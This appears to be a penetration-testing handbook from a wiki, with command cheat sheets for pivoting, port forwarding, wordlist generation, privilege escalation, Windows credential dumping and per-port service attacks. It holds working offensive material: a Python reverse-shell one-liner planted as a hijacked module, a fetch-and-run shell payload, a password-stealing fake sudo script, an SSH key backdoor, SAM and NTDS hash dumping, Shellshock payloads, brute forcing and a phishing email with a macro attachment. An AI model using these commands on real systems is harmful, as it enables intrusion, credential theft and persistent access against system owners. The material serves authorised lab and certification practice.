# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]

Handbook I - Basic

2026-06-03T13:43:31Z

Administrator: /* 5985, 5986 - WinRM */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

